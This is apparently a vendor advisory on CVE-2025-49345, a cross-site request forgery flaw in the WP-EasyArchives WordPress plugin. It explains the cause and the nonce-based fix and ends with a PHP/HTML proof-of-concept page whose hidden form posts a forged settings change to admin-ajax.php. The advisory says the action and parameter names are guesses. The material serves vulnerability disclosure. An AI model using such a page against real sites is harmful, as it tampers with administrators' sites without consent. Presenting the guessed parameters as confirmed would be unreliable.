Atomic Edge analysis of CVE-2025-49345 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the WP-EasyArchives WordPress plugin, affecting versions up to and including 3.1.2. The vulnerability allows unauthenticated attackers to trick an administrator into performing an unauthorized action, leading to limited integrity impact.
Atomic Edge research infers the root cause is a missing or incorrect nonce validation check on a specific administrative function. The vulnerability description confirms this is due to missing or incorrect nonce validation. Without reviewing the source code, the exact vulnerable function cannot be confirmed. The CWE classification (352) indicates the plugin fails to verify that a state-changing request originates from a user’s intentional interaction with the site’s own interface.
Exploitation requires an attacker to craft a malicious request and trick a logged-in administrator into submitting it. This is typically achieved via a crafted link or a form embedded in a third-party site. Based on WordPress plugin conventions, the likely attack vector is a POST request to the WordPress admin AJAX handler (`/wp-admin/admin-ajax.php`) or the admin-post handler (`/wp-admin/admin-post.php`). The request would contain an `action` parameter corresponding to the plugin’s vulnerable function, such as `wp_easyarchives_update_settings` or a similar administrative action. The payload would include parameters that change plugin configuration or data.
Remediation requires implementing proper nonce verification for all state-changing administrative functions. The plugin must generate a unique nonce (number used once) for each user session and include it in forms or AJAX requests. The server-side handler must then validate this nonce using `wp_verify_nonce()` before executing any privileged action. This ensures the request is intentional and originates from the legitimate site interface.
The impact of successful exploitation is unauthorized modification of plugin settings or data. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. An attacker could disrupt site functionality by altering archive display settings or deleting stored data, but they cannot directly escalate privileges or execute arbitrary code. The attack requires user interaction (UI:R) with an administrator.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49345 - WP-EasyArchives <= 3.1.2 - Cross-Site Request Forgery
<?php
/**
* Proof-of-concept for CSRF in WP-EasyArchives <= 3.1.2.
* This script generates an HTML page containing a hidden form that, when submitted by a logged-in administrator,
* triggers a state-changing action in the plugin.
* The exact action and parameters are inferred from the vulnerability type and plugin conventions.
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
* 2. The vulnerable AJAX action hook is derived from the plugin slug ('wp_easyarchives').
* 3. The action modifies a setting, such as 'archive_title'.
*/
$target_url = 'http://vulnerable-site.example.com';
?>
<!DOCTYPE html>
<html>
<head>
<title>Benign Page</title>
</head>
<body>
<h1>Click the button below</h1>
<p>This form simulates a CSRF attack against WP-EasyArchives.</p>
<!-- The form targets the WordPress AJAX handler. The action parameter is assumed. -->
<form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wp_easyarchives_update_settings" />
<!-- Assumed parameter for changing a setting; the exact parameter name is inferred. -->
<input type="hidden" name="archive_title" value="Hacked by CSRF" />
<input type="submit" value="Submit" />
</form>
<script>
// Auto-submit the form to demonstrate the attack (optional).
// document.getElementById('csrf_form').submit();
</script>
</body>
</html>
